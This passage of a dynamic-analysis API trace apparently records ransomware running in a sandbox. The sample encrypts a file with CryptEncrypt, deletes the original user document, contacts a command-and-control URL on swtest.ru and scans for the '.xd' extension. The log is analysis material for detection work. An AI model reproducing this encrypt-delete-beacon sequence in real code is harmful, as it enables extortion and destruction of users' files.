hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.913] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.913] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.913] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.913] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.914] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.914] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.914] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.915] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.916] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.916] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16348, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16350) returned 1 [0069.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.916] CharLowerBuffW (in: lpsz="byte[90961]", cchLength=0xb | out: lpsz="byte[90961]") returned 0xb [0069.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.918] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.918] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.918] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0069.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0069.919] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0069.919] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1813508*, pdwDataLen=0x130e618*=0x16348, dwBufLen=0x16350 | out: pbData=0x1813508*, pdwDataLen=0x130e618*=0x16350) returned 1 [0069.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.919] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.928] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.928] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.928] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.928] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.939] WriteFile (in: hFile=0x3bc, lpBuffer=0x4e30048*, nNumberOfBytesToWrite=0x16350, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e30048*, lpNumberOfBytesWritten=0x130f01c*=0x16350, lpOverlapped=0x0) returned 1 [0069.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.942] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0069.942] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.942] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0069.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0069.942] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0069.942] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0069.942] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.942] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.942] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.942] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.942] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.943] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.943] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.943] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0069.943] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.946] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0069.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0069.946] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.946] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.946] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.946] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.946] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.946] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.946] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.947] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0069.947] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0069.947] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0069.947] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.947] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.947] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0069.947] FreeLibrary (hLibModule=0x74c60000) returned 1 [0069.947] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.947] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.947] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.947] CloseHandle (hObject=0x2ac) returned 1 [0069.948] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.948] CloseHandle (hObject=0x3bc) returned 1 [0069.954] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.955] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.955] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", lpFilePart=0x0) returned 0x2b [0069.955] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dcbrwi.docx")) returned 0x20 [0069.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0069.955] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DCBrwI.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dcbrwi.docx")) returned 1 [0069.964] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0069.964] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0069.964] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.964] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.964] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.964] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.964] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0069.965] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0069.965] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.965] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0069.965] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.965] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0069.965] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0069.965] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c) returned 1 [0069.965] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.965] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.966] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.968] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0069.968] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0069.968] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0069.968] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0069.968] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0069.968] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.970] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.970] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.970] CloseHandle (hObject=0x0) returned 0 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.970] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\desktop.ini", cchCount1=3, 